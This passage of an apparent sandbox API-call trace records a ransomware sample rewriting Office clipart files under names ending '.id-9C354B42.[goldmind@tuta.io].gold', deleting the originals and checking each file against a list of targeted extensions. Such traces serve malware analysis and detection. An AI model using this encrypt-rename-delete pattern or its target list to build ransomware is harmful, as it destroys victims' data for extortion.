Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.501] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.501] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.502] GetLastError () returned 0x0 [0110.502] ReadFile (in: hFile=0x3c4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x778, lpOverlapped=0x0) returned 1 [0110.534] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x780, lpOverlapped=0x0) returned 1 [0110.535] ReadFile (in: hFile=0x3c4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0110.535] WriteFile (in: hFile=0x3b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.535] SetEndOfFile (hFile=0x3b0) returned 1 [0110.535] CloseHandle (hObject=0x3b0) returned 1 [0110.535] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.535] SetEndOfFile (hFile=0x3c4) returned 1 [0110.537] CloseHandle (hObject=0x3c4) returned 1 [0110.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0110.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.742] lstrlenW (lpString=".doc") returned 4 [0110.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.742] lstrlenW (lpString=".docx") returned 5 [0110.742] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0110.742] lstrlenW (lpString=".pdf") returned 4 [0110.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.742] lstrlenW (lpString=".xls") returned 4 [0110.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.742] lstrlenW (lpString=".xlsx") returned 5 [0110.742] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0110.742] lstrlenW (lpString=".ppt") returned 4 [0110.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.742] lstrlenW (lpString=".zip") returned 4 [0110.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.742] lstrlenW (lpString=".rar") returned 4 [0110.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.742] lstrlenW (lpString=".bz2") returned 4 [0110.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString=".7z") returned 3 [0110.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".dbf") returned 4 [0110.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".1cd") returned 4 [0110.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".jpg") returned 4 [0110.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".doc") returned 4 [0110.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString=".docx") returned 5 [0110.743] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0110.743] lstrlenW (lpString=".pdf") returned 4 [0110.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString=".xls") returned 4 [0110.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.743] lstrlenW (lpString=".xlsx") returned 5 [0110.743] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0110.743] lstrlenW (lpString=".ppt") returned 4 [0110.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".zip") returned 4 [0110.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.743] lstrlenW (lpString=".rar") returned 4 [0110.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString=".bz2") returned 4 [0110.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString=".7z") returned 3 [0110.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".dbf") returned 4 [0110.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.743] lstrlenW (lpString=".1cd") returned 4 [0110.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0110.744] lstrlenW (lpString=".jpg") returned 4 [0110.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.744] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.744] lstrlenW (lpString="J0153305.WMF") returned 12 [0110.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.754] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=38488) returned 1 [0110.754] CloseHandle (hObject=0x3b4) returned 1 [0110.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 0x20 [0110.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.761] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.761] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.762] GetLastError () returned 0x0 [0110.762] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x9658, lpOverlapped=0x0) returned 1 [0110.764] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x9660, lpOverlapped=0x0) returned 1 [0110.765] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0110.765] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.765] SetEndOfFile (hFile=0x3b4) returned 1 [0110.765] CloseHandle (hObject=0x3b4) returned 1 [0110.765] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.765] SetEndOfFile (hFile=0x394) returned 1 [0110.767] CloseHandle (hObject=0x394) returned 1 [0110.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0110.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.768] lstrlenW (lpString=".doc") returned 4 [0110.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.768] lstrlenW (lpString=".docx") returned 5 [0110.768] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0110.768] lstrlenW (lpString=".pdf") returned 4 [0110.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.768] lstrlenW (lpString=".xls") returned 4 [0110.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.768] lstrlenW (lpString=".xlsx") returned 5 [0110.768] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0110.768] lstrlenW (lpString=".ppt") returned 4 [0110.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.768] lstrlenW (lpString=".zip") returned 4 [0110.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.768] lstrlenW (lpString=".rar") returned 4 [0110.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.768] lstrlenW (lpString=".bz2") returned 4 [0110.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.768] lstrlenW (lpString=".7z") returned 3 [0110.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.768] lstrlenW (lpString=".dbf") returned 4 [0110.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.768] lstrlenW (lpString=".1cd") returned 4 [0110.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString=".jpg") returned 4 [0110.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString=".doc") returned 4 [0110.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString=".docx") returned 5 [0110.769] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0110.769] lstrlenW (lpString=".pdf") returned 4 [0110.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString=".xls") returned 4 [0110.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.769] lstrlenW (lpString=".xlsx") returned 5 [0110.769] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0110.769] lstrlenW (lpString=".ppt") returned 4 [0110.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString=".zip") returned 4 [0110.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.769] lstrlenW (lpString=".rar") returned 4 [0110.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString=".bz2") returned 4 [0110.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString=".7z") returned 3 [0110.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString=".dbf") returned 4 [0110.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString=".1cd") returned 4 [0110.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0110.769] lstrlenW (lpString=".jpg") returned 4 [0110.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.770] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.770] lstrlenW (lpString="J0153313.WMF") returned 12 [0110.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.770] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=16952) returned 1 [0110.770] CloseHandle (hObject=0x394) returned 1 [0110.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 0x20 [0110.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.771] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.771] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.771] GetLastError () returned 0x0 [0110.772] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x4238, lpOverlapped=0x0) returned 1 [0110.773] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4240, lpOverlapped=0x0) returned 1 [0110.774] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0110.774] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.774] SetEndOfFile (hFile=0x3b4) returned 1 [0110.774] CloseHandle (hObject=0x3b4) returned 1 [0110.774] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.774] SetEndOfFile (hFile=0x394) returned 1 [0110.776] CloseHandle (hObject=0x394) returned 1 [0110.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 1 [0110.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.777] lstrlenW (lpString=".doc") returned 4 [0110.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.777] lstrlenW (lpString=".docx") returned 5 [0110.777] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0110.777] lstrlenW (lpString=".pdf") returned 4 [0110.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.777] lstrlenW (lpString=".xls") returned 4 [0110.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.777] lstrlenW (lpString=".xlsx") returned 5 [0110.777] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0110.777] lstrlenW (lpString=".ppt") returned 4 [0110.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.777] lstrlenW (lpString=".zip") returned 4 [0110.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.777] lstrlenW (lpString=".rar") returned 4 [0110.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString=".bz2") returned 4 [0110.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString=".7z") returned 3 [0110.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".dbf") returned 4 [0110.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".1cd") returned 4 [0110.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".jpg") returned 4 [0110.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".doc") returned 4 [0110.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString=".docx") returned 5 [0110.778] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0110.778] lstrlenW (lpString=".pdf") returned 4 [0110.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString=".xls") returned 4 [0110.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.778] lstrlenW (lpString=".xlsx") returned 5 [0110.778] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0110.778] lstrlenW (lpString=".ppt") returned 4 [0110.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".zip") returned 4 [0110.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.778] lstrlenW (lpString=".rar") returned 4 [0110.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString=".bz2") returned 4 [0110.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString=".7z") returned 3 [0110.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".dbf") returned 4 [0110.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".1cd") returned 4 [0110.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0110.778] lstrlenW (lpString=".jpg") returned 4 [0110.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.779] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.779] lstrlenW (lpString="J0153398.WMF") returned 12 [0110.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.779] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=17508) returned 1 [0110.779] CloseHandle (hObject=0x394) returned 1 [0110.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 0x20 [0110.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.780] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.780] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.780] CreateFileW 